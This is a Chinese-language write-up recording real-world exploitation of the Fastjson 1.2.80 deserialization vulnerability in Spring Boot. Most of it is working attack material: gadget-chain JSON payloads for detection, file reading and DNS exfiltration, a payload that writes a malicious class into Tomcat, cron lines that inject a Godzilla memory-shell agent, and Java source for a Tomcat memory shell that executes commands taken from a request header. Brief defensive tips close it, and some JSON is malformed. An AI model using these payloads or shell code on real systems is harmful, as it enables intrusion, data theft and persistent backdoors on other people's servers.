fastjson1.2.80 in Springtboot实网利用记录
字数 719 2025-09-01 11:26:17
Fastjson 1.2.80 在 Spring Boot 环境中的实网利用分析与教学
一、漏洞背景
Fastjson 1.2.80 版本存在反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。
二、漏洞验证技术
1. 基础验证方法
1.1 布尔值检测法
传统 Fastjson 漏洞检测通常依赖布尔值返回差异,但在某些环境中可能不适用。
1.2 报错检测法
当目标环境不返回解析结果时,可使用报错检测:
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/test"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [98]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
},
"start": 0,
"end": 0
}
}
2. Fastjson 1.2.80 专用检测 Payload
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"b": {
"$ref": "$.a.BOM[0]"
}
}
三、文件读取技术
1. 通过报错读取文件
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {"$ref": "$.a.BOM[0]"},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [97]
}
]
}
}
2. 通过 DNS 外带数据
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {"$ref": "$.a.BOM[0]"},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${dns}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"zzz": {"$ref": "$.c.BOM[0]"}
}
四、文件写入与 RCE 技术
1. 基础文件写入 Payload
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"\xCA\xFE\xBA\xBExxxxxxxxxxxxxxxx",
"charset": "iso-8859-1",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/tomcat-docbase.9999.6522870832081637972/WEB-INF/classes/Tomcat678910cmdechoException.class",
"charset": "iso-8859-1",
"append": true
},
"charsetName": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
}
}
2. 大文件写入技术
由于单次写入限制约为 8KB,需要多次发送 Payload 进行分段写入:
// Java 代码示例
String shellcode = "shellcode";
int size = 1024; // 缓冲区大小
CharSequenceInputStream inputStream = new CharSequenceInputStream(shellcode, "ISO-8859-1", size);
LockableFileWriter lockableFileWriter = new LockableFileWriter(new File("PocException5.txt"), "iso-8859-1", true, "tmp");
WriterOutputStream writerOutputStream = new WriterOutputStream(lockableFileWriter, "iso-8859-1", 1024, true);
TeeInputStream teeInputStream = new TeeInputStream(inputStream, writerOutputStream, true);
AutoCloseInputStream autoCloseInputStream = new AutoCloseInputStream(teeInputStream);
// 多次写入以突破大小限制
InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream, "text/xml", false, "iso-8859-1"), "iso-8859-1", 1024);
InputStream inputStream2 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream, "text/xml", false, "iso-8859-1"), "iso-8859-1", 1024);
3. 内存马注入技术
当无法直接写入 Web 目录时,可通过计划任务注入内存马:
- 写入计划任务:
/var/spool/cron/root
* * * * * [ ! -f /tmp/out1.txt ] && ps -ef | grep xxxx.jar > /tmp/out1.txt
- 读取进程 ID 后注入 Agent 内存马:
* * * * * [ ! -f /tmp/out2.txt ] && java -jar /tmp/TomcatGodzillaMemShellAgent.jar pid > /tmp/out2.txt
五、Tomcat 内存马示例代码
package com.example.poc;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;
public class PocException extends Exception {
static {
run();
}
// ... 构造函数省略 ...
private static String getReqHeaderName() {
return "Accept-Lrezx";
}
private static void run() {
try {
Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[])(new Class[0]));
var0.setAccessible(true);
Thread[] var1 = (Thread[])((Thread[])((Thread[])var0.invoke((Object)null)));
for(int var2 = 0; var2 < var1.length; ++var2) {
if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
// ... 反射获取Request对象 ...
try {
String var7 = (String)var3.get(var5.get(var6)).getClass().getMethod("getHeader", String.class)
.invoke(var3.get(var5.get(var6)), getReqHeaderName());
if (var7 != null) {
Object response = var4.getClass().getDeclaredMethod("getResponse").invoke(var4);
Writer writer = (Writer)response.getClass().getMethod("getWriter").invoke(response);
writer.write(exec(var7));
writer.flush();
writer.close();
break;
}
} catch (Exception var15) {}
}
}
} catch (Throwable var16) {}
}
private static String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String execRes;
for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {}
return execRes;
} catch (Exception var8) {
return var8.getMessage();
}
}
}
六、防御建议
- 升级 Fastjson 到最新安全版本
- 在反序列化时使用安全模式
- 限制 JSON 输入的内容和大小
- 使用白名单机制控制反序列化的类
- 监控系统异常行为,如大量计划任务创建
七、参考资源
- Squirt1e's blog
- luelueking/CVE-2022-25845-In-Spring
- Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
- springboot环境下的写文件RCE